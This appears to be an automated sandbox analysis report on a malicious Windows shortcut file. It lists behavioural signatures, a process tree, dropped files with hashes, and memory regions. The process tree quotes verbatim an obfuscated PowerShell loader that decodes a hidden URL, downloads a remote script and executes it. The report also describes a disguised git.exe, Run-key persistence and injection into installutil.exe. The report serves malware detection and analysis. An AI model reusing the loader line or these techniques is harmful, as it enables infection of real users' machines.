Analysis

  • max time kernel
    150s
  • max time network
    140s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    27/07/2026, 12:17

General

  • Target
    photov_064088356046.lnk
  • Size 1KB
  • Sample260727-pgj6dsstav
  • SHA256 a322512f68a092622b76b6a0605b3474df907a3a85b7530a5233ab0066686533
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 21 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photov_064088356046.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4188
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -c "$bs3me43t=59;$b1nptorx=[bigint]::Parse('9951692407859219153073068436821508748133998');$t3tuscdciw=[bigint]::Parse('7152153831064844014004952943059701');$b1nptorx=$b1nptorx-$t3tuscdciw;$pnu4lymm=@();while($b1nptorx -gt 0){$pnu4lymm+=[char][int]([bigint]::Remainder($b1nptorx,256));$b1nptorx=[bigint]::Divide($b1nptorx,256)};.([scriptblock]::Create((irm(-join$pnu4lymm))))"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1468
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "$bs3me43t=59;$b1nptorx=[bigint]::Parse('9951692407859219153073068436821508748133998');$t3tuscdciw=[bigint]::Parse('7152153831064844014004952943059701');$b1nptorx=$b1nptorx-$t3tuscdciw;$pnu4lymm=@();while($b1nptorx -gt 0){$pnu4lymm+=[char][int]([bigint]::Remainder($b1nptorx,256));$b1nptorx=[bigint]::Divide($b1nptorx,256)};.([scriptblock]::Create((irm(-join$pnu4lymm))))"
        3⤵
        • Badlisted process makes network request
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2764
        • C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\git.exe
          "C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\git.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2812
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4424
  • C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\git.exe
    "C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\git.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:5340
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:984
  • C:\Windows\system32\cmd.exe
    "cmd /c start "" /D "C:\ProgramData\GitWinx86" "C:\ProgramData\GitWinx86\git.exe""
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2248
    • C:\ProgramData\GitWinx86\git.exe
      "C:\ProgramData\GitWinx86\git.exe""
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:4724
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5108
  • C:\Windows\Temp\DCRCVDrv.sys
    C:\Windows\Temp\DCRCVDrv.sys
    1⤵
    • Executes dropped EXE
    PID:4872

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        wkptg_ae_ptbxh.zip

        • Path C:\Users\Admin\AppData\Local\Temp\wkptg_ae_ptbxh.zip
        • Size 5.6MB
        • SHA256 031141870683cc41121ed8e2fbbdaa06da3720043ec448b000869cde34ebc352
        • MD5 SHA1 SHA512 SSDEEP TLSH

        git.exe

        • Path C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\git.exe
        • Size 4.2MB
        • SHA256 cab4c4eea1d869cf9f7be73868dc9a90ad2df1b1b673e5f8c8714a576c25ea96
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libiconv-2.dll

        • Path C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\libiconv-2.dll
        • Size 1.1MB
        • SHA256 7a282a854e01be726c6cccfe46f548c716aa45b3014818468253aaa4efbcd067
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libintl-8.dll

        • Path C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\libintl-8.dll
        • Size 291KB
        • SHA256 0537c3dd2378218508ebe3cc416d72a99ee2d24ae1c5525e23458f32544ef861
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libpcre2-8-0.dll

        • Path C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\libpcre2-8-0.dll
        • Size 701KB
        • SHA256 c135a87ed0f11eae8ffc4cb469671ff0b3f5d71fab5fb024e9b1e7241ca25b52
        • MD5 SHA1 SHA512 SSDEEP TLSH

        libwinpthread-1.dll

        • Path C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\libwinpthread-1.dll
        • Size 3.0MB
        • SHA256 3b9a3369e4fbc9f4336247ea11cf5df3b4c44066987ff20f5f6895addb052036
        • MD5 SHA1 SHA512 SSDEEP TLSH

        msvcp140.dll

        • Path C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\msvcp140.dll
        • Size 540KB
        • SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ucrtbase.dll

        • Path C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\ucrtbase.dll
        • Size 1.3MB
        • SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140.dll

        • Path C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\vcruntime140.dll
        • Size 120KB
        • SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        vcruntime140_1.dll

        • Path C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\vcruntime140_1.dll
        • Size 46KB
        • SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
        • MD5 SHA1 SHA512 SSDEEP TLSH

        zlib1.dll

        • Path C:\Users\Admin\AppData\Local\swsl_hiuq_upd_bban_\zlib1.dll
        • Size 125KB
        • SHA256 93e9243a44c29200eeacaf9658efe2558581770e4b11ca4b500e18e424a6e3b5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DCRCVDrv.sys

        • Path C:\Windows\Temp\DCRCVDrv.sys
        • Size 137KB
        • SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/984-180-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-173-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-2028-0x00000000069A0000-0x0000000006F5A000-memory.dmp

        memory/984-2027-0x0000000006340000-0x00000000063D2000-memory.dmp

        memory/984-2026-0x0000000005A10000-0x0000000005A76000-memory.dmp

        memory/984-143-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-147-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-149-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-159-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-166-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-181-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-185-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-201-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-208-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-225-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-233-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-229-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-227-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-142-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-145-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-151-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-153-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-155-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-157-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-161-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-235-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-163-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-167-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-169-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-171-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-134-0x0000000000400000-0x0000000000470000-memory.dmp

        memory/984-193-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-175-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-177-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-183-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-187-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-140-0x0000000005120000-0x000000000513A000-memory.dmp

        memory/984-141-0x0000000005150000-0x000000000517C000-memory.dmp

        memory/984-253-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-255-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-251-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-249-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-247-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-245-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-243-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-241-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-239-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-237-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-189-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-232-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-191-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-223-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-221-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-219-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-217-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-215-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-213-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-211-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-209-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-205-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-203-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-199-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-197-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/984-195-0x0000000005150000-0x0000000005176000-memory.dmp

        memory/2764-5-0x0000026726A60000-0x0000026726A82000-memory.dmp

        memory/2764-10-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-17-0x0000026726F70000-0x0000026726F8E000-memory.dmp

        memory/2764-18-0x00000267271F0000-0x00000267272A2000-memory.dmp

        memory/2764-19-0x0000026726F90000-0x0000026726F9A000-memory.dmp

        memory/2764-0-0x00007FF9CF09F000-0x00007FF9CF0A0000-memory.dmp

        memory/2764-21-0x0000026726FD0000-0x0000026726FFA000-memory.dmp

        memory/2764-22-0x0000026726FD0000-0x0000026726FF4000-memory.dmp

        memory/2764-20-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-129-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-1-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-23-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-2-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-6-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-7-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-8-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-9-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-13-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-11-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-12-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-14-0x0000026727020000-0x00000267271E2000-memory.dmp

        memory/2764-66-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-65-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-32-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-31-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-30-0x00007FF9CEF10000-0x00007FF9CF8B4000-memory.dmp

        memory/2764-27-0x0000026726FE0000-0x0000026726FF2000-memory.dmp

        memory/2764-25-0x0000026726FB0000-0x0000026726FBA000-memory.dmp

        memory/2764-24-0x00000267277E0000-0x0000026727D08000-memory.dmp

        memory/4872-98-0x0000000000010000-0x000000000003D000-memory.dmp

        memory/5340-139-0x00007FF9D02E0000-0x00007FF9D0332000-memory.dmp

        memory/5340-138-0x00007FF9C4A30000-0x00007FF9C4B4F000-memory.dmp

        memory/5340-136-0x00007FF9C58F0000-0x00007FF9C59A6000-memory.dmp

        memory/5340-137-0x00007FF9D3F30000-0x00007FF9D3F56000-memory.dmp

        memory/5340-135-0x00007FF743C20000-0x00007FF74408F000-memory.dmp